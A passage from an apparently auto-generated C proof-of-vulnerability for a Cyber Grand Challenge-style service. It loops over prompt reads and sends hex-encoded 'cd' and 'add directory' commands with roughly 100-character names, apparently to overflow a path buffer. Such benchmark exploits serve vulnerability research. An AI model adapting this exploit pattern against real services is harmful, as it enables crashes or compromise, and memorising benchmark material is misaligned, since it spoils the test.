+= cgc_data_match(read_00054 + read_00054_ptr, read_00054_len - read_00054_ptr, match_00054_00000, 6); cgc_free(read_00054); if (read_00054_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00055; unsigned int read_00055_len; unsigned int read_00055_ptr = 0; //**** delimited read static unsigned char read_00055_delim[] = "\x3e"; read_00055 = NULL; read_00055_len = 0; int read_00055_res = cgc_delimited_read(0, &read_00055, &read_00055_len, read_00055_delim, 1); if (read_00055_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00055_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00055_00000_match; pcre *read_00055_00000_pcre = cgc_init_regex(read_00055_00000_regex); if (read_00055_00000_pcre != NULL) { int rc = cgc_regex_match(read_00055_00000_pcre, 0, read_00055 + read_00055_ptr, read_00055_len - read_00055_ptr, &read_00055_00000_match); if (rc > 0) { read_00055_ptr += read_00055_00000_match.match_end - read_00055_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00055_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00055); if (read_00055_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00021_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00021_00000_len = 104; unsigned char *write_00021 = NULL; unsigned int write_00021_len = 0; write_00021 = cgc_append_buf(write_00021, &write_00021_len, write_00021_00000, write_00021_00000_len); if (write_00021_len > 0) { cgc_transmit_all(1, write_00021, write_00021_len); } cgc_free(write_00021); } while (0); do { unsigned char *read_00056; unsigned int read_00056_len; unsigned int read_00056_ptr = 0; //**** delimited read static unsigned char read_00056_delim[] = "\x40"; read_00056 = NULL; read_00056_len = 0; int read_00056_res = cgc_delimited_read(0, &read_00056, &read_00056_len, read_00056_delim, 1); if (read_00056_res) {} //silence unused variable warning //**** read match data static unsigned char match_00056_00000[] = "\x72\x6f\x6f\x74"; read_00056_ptr += cgc_data_match(read_00056 + read_00056_ptr, read_00056_len - read_00056_ptr, match_00056_00000, 4); cgc_free(read_00056); if (read_00056_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00057; unsigned int read_00057_len; unsigned int read_00057_ptr = 0; //**** delimited read static unsigned char read_00057_delim[] = "\x2f"; read_00057 = NULL; read_00057_len = 0; int read_00057_res = cgc_delimited_read(0, &read_00057, &read_00057_len, read_00057_delim, 1); if (read_00057_res) {} //silence unused variable warning //**** read match data static unsigned char match_00057_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00057_ptr += cgc_data_match(read_00057 + read_00057_ptr, read_00057_len - read_00057_ptr, match_00057_00000, 6); cgc_free(read_00057); if (read_00057_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00058; unsigned int read_00058_len; unsigned int read_00058_ptr = 0; //**** delimited read static unsigned char read_00058_delim[] = "\x3e"; read_00058 = NULL; read_00058_len = 0; int read_00058_res = cgc_delimited_read(0, &read_00058, &read_00058_len, read_00058_delim, 1); if (read_00058_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00058_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00058_00000_match; pcre *read_00058_00000_pcre = cgc_init_regex(read_00058_00000_regex); if (read_00058_00000_pcre != NULL) { int rc = cgc_regex_match(read_00058_00000_pcre, 0, read_00058 + read_00058_ptr, read_00058_len - read_00058_ptr, &read_00058_00000_match); if (rc > 0) { read_00058_ptr += read_00058_00000_match.match_end - read_00058_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00058_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00058); if (read_00058_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00022_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00022_00000_len = 115; unsigned char *write_00022 = NULL; unsigned int write_00022_len = 0; write_00022 = cgc_append_buf(write_00022, &write_00022_len, write_00022_00000, write_00022_00000_len); if (write_00022_len > 0) { cgc_transmit_all(1, write_00022, write_00022_len); } cgc_free(write_00022); } while (0); do { unsigned char *read_00059; unsigned int read_00059_len; unsigned int read_00059_ptr = 0; //**** delimited read static unsigned char read_00059_delim[] = "\x40"; read_00059 = NULL; read_00059_len = 0; int read_00059_res = cgc_delimited_read(0, &read_00059, &read_00059_len, read_00059_delim, 1); if (read_00059_res) {} //silence unused variable warning //**** read match data static unsigned char match_00059_00000[] = "\x72\x6f\x6f\x74"; read_00059_ptr += cgc_data_match(read_00059 + read_00059_ptr, read_00059_len - read_00059_ptr, match_00059_00000, 4); cgc_free(read_00059); if (read_00059_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00060; unsigned int read_00060_len; unsigned int read_00060_ptr = 0; //**** delimited read static unsigned char read_00060_delim[] = "\x2f"; read_00060 = NULL; read_00060_len = 0; int read_00060_res = cgc_delimited_read(0, &read_00060, &read_00060_len, read_00060_delim, 1); if (read_00060_res) {} //silence unused variable warning //**** read match data static unsigned char match_00060_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00060_ptr += cgc_data_match(read_00060 + read_00060_ptr, read_00060_len - read_00060_ptr, match_00060_00000, 6); cgc_free(read_00060); if (read_00060_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00061; unsigned int read_00061_len; unsigned int read_00061_ptr = 0; //**** delimited read static unsigned char read_00061_delim[] = "\x3e"; read_00061 = NULL; read_00061_len = 0; int read_00061_res = cgc_delimited_read(0, &read_00061, &read_00061_len, read_00061_delim, 1); if (read_00061_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00061_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00061_00000_match; pcre *read_00061_00000_pcre = cgc_init_regex(read_00061_00000_regex); if (read_00061_00000_pcre != NULL) { int rc = cgc_regex_match(read_00061_00000_pcre, 0, read_00061 + read_00061_ptr, read_00061_len - read_00061_ptr, &read_00061_00000_match); if (rc > 0) { read_00061_ptr += read_00061_00000_match.match_end - read_00061_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00061_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00061); if (read_00061_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00023_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00023_00000_len = 104; unsigned char *write_00023 = NULL; unsigned int write_00023_len = 0; write_00023 = cgc_append_buf(write_00023, &write_00023_len, write_00023_00000, write_00023_00000_len); if (write_00023_len > 0) { cgc_transmit_all(1, write_00023, write_00023_len); } cgc_free(write_00023); } while (0); do { unsigned char *read_00062; unsigned int read_00062_len; unsigned int read_00062_ptr = 0; //**** delimited read static unsigned char read_00062_delim[] = "\x40"; read_00062 = NULL; read_00062_len = 0; int read_00062_res = cgc_delimited_read(0, &read_00062, &read_00062_len, read_00062_delim, 1); if (read_00062_res) {} //silence unused variable warning //**** read match data static unsigned char match_00062_00000[] = "\x72\x6f\x6f\x74"; read_00062_ptr += cgc_data_match(read_00062 + read_00062_ptr, read_00062_len - read_00062_ptr, match_00062_00000, 4); cgc_free(read_00062); if (read_00062_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00063; unsigned int read_00063_len; unsigned int read_00063_ptr = 0; //**** delimited read static unsigned char read_00063_delim[] = "\x2f"; read_00063 = NULL; read_00063_len = 0; int read_00063_res = cgc_delimited_read(0, &read_00063, &read_00063_len, read_00063_delim, 1); if (read_00063_res) {} //silence unused variable warning //**** read match data static unsigned char match_00063_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00063_ptr += cgc_data_match(read_00063 + read_00063_ptr, read_00063_len - read_00063_ptr, match_00063_00000, 6); cgc_free(read_00063); if (read_00063_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00064; unsigned int read_00064_len; unsigned int read_00064_ptr = 0; //**** delimited read static unsigned char read_00064_delim[] = "\x3e"; read_00064 = NULL; read_00064_len = 0; int read_00064_res = cgc_delimited_read(0, &read_00064, &read_00064_len, read_00064_delim, 1); if (read_00064_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00064_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00064_00000_match; pcre *read_00064_00000_pcre = cgc_init_regex(read_00064_00000_regex); if (read_00064_00000_pcre != NULL) { int rc = cgc_regex_match(read_00064_00000_pcre, 0, read_00064 + read_00064_ptr, read_00064_len - read_00064_ptr, &read_00064_00000_match); if (rc > 0) { read_00064_ptr += read_00064_00000_match.match_end - read_00064_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00064_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00064); if (read_00064_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00024_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00024_00000_len = 115; unsigned char *write_00024 = NULL; unsigned int write_00024_len = 0; write_00024 = cgc_append_buf(write_00024, &write_00024_len, write_00024_00000, write_00024_00000_len); if (write_00024_len > 0) { cgc_transmit_all(1, write_00024, write_00024_len); } cgc_free(write_00024); } while (0); do { unsigned char *read_00065; unsigned int read_00065_len; unsigned int read_00065_ptr = 0; //**** delimited read static unsigned char read_00065_delim[] = "\x40"; read_00065 = NULL; read_00065_len = 0; int read_00065_res = cgc_delimited_read(0, &read_00065, &read_00065_len, read_00065_delim, 1); if (read_00065_res) {} //silence unused variable warning //**** read match data static unsigned char match_00065_00000[] = "\x72\x6f\x6f\x74"; read_00065_ptr += cgc_data_match(read_00065 + read_00065_ptr, read_00065_len - read_00065_ptr, match_00065_00000, 4); cgc_free(read_00065); if (read_00065_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00066; unsigned int read_00066_len; unsigned int read_00066_ptr = 0; //**** delimited read static unsigned char read_00066_delim[] = "\x2f"; read_00066 = NULL; read_00066_len = 0; int read_00066_res = cgc_delimited_read(0, &read_00066, &read_00066_len, read_00066_delim, 1); if (read_00066_res) {} //silence unused variable warning //**** read match data static unsigned char match_00066_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00066_ptr += cgc_data_match(read_00066 + read_00066_ptr, read_00066_len - read_00066_ptr, match_00066_00000, 6); cgc_free(read_00066); if (read_00066_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00067; unsigned int read_00067_len; unsigned int read_00067_ptr = 0; //**** delimited read static unsigned char read_00067_delim[] = "\x3e"; read_00067 = NULL; read_00067_len = 0; int read_00067_res = cgc_delimited_read(0, &read_00067, &read_00067_len, read_00067_delim, 1); if (read_00067_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00067_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00067_00000_match; pcre *read_00067_00000_pcre = cgc_init_regex(read_00067_00000_regex); if (read_00067_00000_pcre != NULL) { int rc = cgc_regex_match(read_00067_00000_pcre, 0, read_00067 + read_00067_ptr, read_00067_len - read_00067_ptr, &read_00067_00000_match); if (rc > 0) { read_00067_ptr += read_00067_00000_match.match_end - read_00067_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00067_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00067); if (read_00067_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00025_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00025_00000_len = 104; unsigned char *write_00025 = NULL; unsigned int write_00025_len = 0; write_00025 = cgc_append_buf(write_00025, &write_00025_len, write_00025_00000, write_00025_00000_len); if (write_00025_len > 0) { cgc_transmit_all(1, write_00025, write_00025_len); } cgc_free(write_00025); } while (0); do { unsigned char *read_00068; unsigned int read_00068_len; unsigned int read_00068_ptr = 0; //**** delimited read static unsigned char read_00068_delim[] = "\x40"; read_00068 = NULL; read_00068_len = 0; int read_00068_res = cgc_delimited_read(0, &read_00068, &read_00068_len, read_00068_delim, 1); if (read_00068_res) {} //silence unused variable warning //**** read match data static unsigned char match_00068_00000[] = "\x72\x6f\x6f\x74"; read_00068_ptr += cgc_data_match(read_00068 + read_00068_ptr, read_00068_len - read_00068_ptr, match_00068_00000, 4); cgc_free(read_00068); if (read_00068_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00069; unsigned int read_00069_len; unsigned int read_00069_ptr = 0; //**** delimited read static unsigned char read_00069_delim[] = "\x2f"; read_00069 = NULL; read_00069_len = 0; int read_00069_res = cgc_delimited_read(0, &read_00069, &read_00069_len, read_00069_delim, 1); if (read_00069_res) {} //silence unused variable warning //**** read match data static unsigned char match_00069_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00069_ptr += cgc_data_match(read_00069 + read_00069_ptr, read_00069_len - read_00069_ptr, match_00069_00000, 6); cgc_free(read_00069); if (read_00069_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00070; unsigned int read_00070_len; unsigned int read_00070_ptr = 0; //**** delimited read static unsigned char read_00070_delim[] = "\x3e"; read_00070 = NULL; read_00070_len = 0; int read_00070_res = cgc_delimited_read(0, &read_00070, &read_00070_len, read_00070_delim, 1); if (read_00070_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00070_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00070_00000_match; pcre *read_00070_00000_pcre = cgc_init_regex(read_00070_00000_regex); if (read_00070_00000_pcre != NULL) { int rc = cgc_regex_match(read_00070_00000_pcre, 0, read_00070 + read_00070_ptr, read_00070_len - read_00070_ptr, &read_00070_00000_match); if (rc > 0) { read_00070_ptr += read_00070_00000_match.match_end - read_00070_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00070_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00070); if (read_00070_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00026_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00026_00000_len = 115; unsigned char *write_00026 = NULL; unsigned int write_00026_len = 0; write_00026 = cgc_append_buf(write_00026, &write_00026_len, write_00026_00000, write_00026_00000_len); if (write_00026_len > 0) { cgc_transmit_all(1, write_00026, write_00026_len); } cgc_free(write_00026); } while (0); do { unsigned char *read_00071; unsigned int read_00071_len; unsigned int read_00071_ptr = 0; //**** delimited read static unsigned char read_00071_delim[] = "\x40"; read_00071 = NULL; read_00071_len = 0; int read_00071_res = cgc_delimited_read(0, &read_00071, &read_00071_len, read_00071_delim, 1); if (read_00071_res) {} //silence unused variable warning //**** read match data static unsigned char match_00071_00000[] = "\x72\x6f\x6f\x74"; read_00071_ptr += cgc_data_match(read_00071 + read_00071_ptr, read_00071_len - read_00071_ptr, match_00071_00000, 4); cgc_free(read_00071); if (read_00071_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00072; unsigned int read_00072_len; unsigned int read_00072_ptr = 0; //**** delimited read static unsigned char read_00072_delim[] = "\x2f"; read_00072 = NULL; read_00072_len = 0; int read_00072_res = cgc_delimited_read(0, &read_00072, &read_00072_len, read_00072_delim, 1); if (read_00072_res) {} //silence unused variable warning //**** read match data static unsigned char match_00072_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00072_ptr += cgc_data_match(read_00072 + read_00072_ptr, read_00072_len - read_00072_ptr, match_00072_00000, 6); cgc_free(read_00072); if (read_00072_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00073; unsigned int read_00073_len; unsigned int read_00073_ptr = 0; //**** delimited read static unsigned char read_00073_delim[] = "\x3e"; read_00073 = NULL; read_00073_len = 0; int read_00073_res = cgc_delimited_read(0, &read_00073, &read_00073_len, read_00073_delim, 1); if (read_00073_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00073_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00073_00000_match; pcre *read_00073_00000_pcre = cgc_init_regex(read_00073_00000_regex); if (read_00073_00000_pcre != NULL) { int rc = cgc_regex_match(read_00073_00000_pcre, 0, read_00073 + read_00073_ptr, read_00073_len - read_00073_ptr, &read_00073_00000_match); if (rc > 0) { read_00073_ptr += read_00073_00000_match.match_end - read_00073_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00073_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00073); if (read_00073_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00027_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00027_00000_len = 104; unsigned char *write_00027 = NULL; unsigned int write_00027_len = 0; write_00027 = cgc_append_buf(write_00027, &write_00027_len, write_00027_00000, write_00027_00000_len); if (write_00027_len > 0) { cgc_transmit_all(1, write_00027, write_00027_len); } cgc_free(write_00027); } while (0); do { unsigned char *read_00074; unsigned int read_00074_len; unsigned int read_00074_ptr = 0; //**** delimited read static unsigned char read_00074_delim[] = "\x40"; read_00074 = NULL; read_00074_len = 0; int read_00074_res = cgc_delimited_read(0, &read_00074, &read_00074_len, read_00074_delim, 1); if (read_00074_res) {} //silence unused variable warning //**** read match data static unsigned char match_00074_00000[] = "\x72\x6f\x6f\x74"; read_00074_ptr += cgc_data_match(read_00074 + read_00074_ptr, read_00074_len - read_00074_ptr, match_00074_00000, 4); cgc_free(read_00074); if (read_00074_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00075; unsigned int read_00075_len; unsigned int read_00075_ptr = 0; //**** delimited read static unsigned char read_00075_delim[] = "\x2f"; read_00075 = NULL; read_00075_len = 0; int read_00075_res = cgc_delimited_read(0, &read_00075, &read_00075_len, read_00075_delim, 1); if (read_00075_res) {} //silence unused variable warning //**** read match data static unsigned char match_00075_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00075_ptr += cgc_data_match(read_00075 + read_00075_ptr, read_00075_len - read_00075_ptr, match_00075_00000, 6); cgc_free(read_00075); if (read_00075_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00076; unsigned int read_00076_len; unsigned int read_00076_ptr = 0; //**** delimited read static unsigned char read_00076_delim[] = "\x3e"; read_00076 = NULL; read_00076_len = 0; int read_00076_res = cgc_delimited_read(0, &read_00076, &read_00076_len, read_00076_delim, 1); if (read_00076_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00076_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00076_00000_match; pcre *read_00076_00000_pcre = cgc_init_regex(read_00076_00000_regex); if (read_00076_00000_pcre != NULL) { int rc = cgc_regex_match(read_00076_00000_pcre, 0, read_00076 + read_00076_ptr, read_00076_len - read_00076_ptr, &read_00076_00000_match); if (rc > 0) { read_00076_ptr += read_00076_00000_match.match_end - read_00076_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00076_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00076); if (read_00076_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00028_00000[] = "\x61\x64\x64\x20\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x20\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x0a"; static unsigned int write_00028_00000_len = 115; unsigned char *write_00028 = NULL; unsigned int write_00028_len = 0; write_00028 = cgc_append_buf(write_00028, &write_00028_len, write_00028_00000, write_00028_00000_len); if (write_00028_len > 0) { cgc_transmit_all(1, write_00028, write_00028_len); } cgc_free(write_00028); } while (0); do { unsigned char *read_00077; unsigned int read_00077_len; unsigned int read_00077_ptr = 0; //**** delimited read static unsigned char read_00077_delim[] = "\x40"; read_00077 = NULL; read_00077_len = 0; int read_00077_res = cgc_delimited_read(0, &read_00077, &read_00077_len, read_00077_delim, 1); if (read_00077_res) {} //silence unused variable warning //**** read match data static unsigned char match_00077_00000[] = "\x72\x6f\x6f\x74"; read_00077_ptr += cgc_data_match(read_00077 + read_00077_ptr, read_00077_len - read_00077_ptr, match_00077_00000, 4); cgc_free(read_00077); if (read_00077_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00078; unsigned int read_00078_len; unsigned int read_00078_ptr = 0; //**** delimited read static unsigned char read_00078_delim[] = "\x2f"; read_00078 = NULL; read_00078_len = 0; int read_00078_res = cgc_delimited_read(0, &read_00078, &read_00078_len, read_00078_delim, 1); if (read_00078_res) {} //silence unused variable warning //**** read match data static unsigned char match_00078_00000[] = "\x53\x50\x49\x46\x46\x3a"; read_00078_ptr += cgc_data_match(read_00078 + read_00078_ptr, read_00078_len - read_00078_ptr, match_00078_00000, 6); cgc_free(read_00078); if (read_00078_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00079; unsigned int read_00079_len; unsigned int read_00079_ptr = 0; //**** delimited read static unsigned char read_00079_delim[] = "\x3e"; read_00079 = NULL; read_00079_len = 0; int read_00079_res = cgc_delimited_read(0, &read_00079, &read_00079_len, read_00079_delim, 1); if (read_00079_res) {} //silence unused variable warning /* read match pcre: ([[:alnum:]]/)* */ static char read_00079_00000_regex[] = "\x28\x5b\x5b\x3a\x61\x6c\x6e\x75\x6d\x3a\x5d\x5d\x2f\x29\x2a"; static match_result read_00079_00000_match; pcre *read_00079_00000_pcre = cgc_init_regex(read_00079_00000_regex); if (read_00079_00000_pcre != NULL) { int rc = cgc_regex_match(read_00079_00000_pcre, 0, read_00079 + read_00079_ptr, read_00079_len - read_00079_ptr, &read_00079_00000_match); if (rc > 0) { read_00079_ptr += read_00079_00000_match.match_end - read_00079_00000_match.match_start; } else { //this is a pov so what does this even mean? //why would we quit on failed match, just keep sending stuff. } pcre_free(read_00079_00000_pcre); } else { //this is a pov so what does this even mean? //why would we quit on failed regex compile, just keep sending stuff. } cgc_free(read_00079); if (read_00079_ptr) {} //silence unused variable warning if any } while (0); do { //*** writing data static unsigned char write_00029_00000[] = "\x63\x64\x20\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64" "\x64\x64\x64\x64\x64\x64\x64\x0a"; static unsigned int write_00029_00000_len = 104; unsigned char *write_00029 = NULL; unsigned int write_00029_len = 0; write_00029 = cgc_append_buf(write_00029, &write_00029_len, write_00029_00000, write_00029_00000_len); if (write_00029_len > 0) { cgc_transmit_all(1, write_00029, write_00029_len); } cgc_free(write_00029); } while (0); do { unsigned char *read_00080; unsigned int read_00080_len; unsigned int read_00080_ptr = 0; //**** delimited read static unsigned char read_00080_delim[] = "\x40"; read_00080 = NULL; read_00080_len = 0; int read_00080_res = cgc_delimited_read(0, &read_00080, &read_00080_len, read_00080_delim, 1); if (read_00080_res) {} //silence unused variable warning //**** read match data static unsigned char match_00080_00000[] = "\x72\x6f\x6f\x74"; read_00080_ptr += cgc_data_match(read_00080 + read_00080_ptr, read_00080_len - read_00080_ptr, match_00080_00000, 4); cgc_free(read_00080); if (read_00080_ptr) {} //silence unused variable warning if any } while (0); do { unsigned char *read_00081; 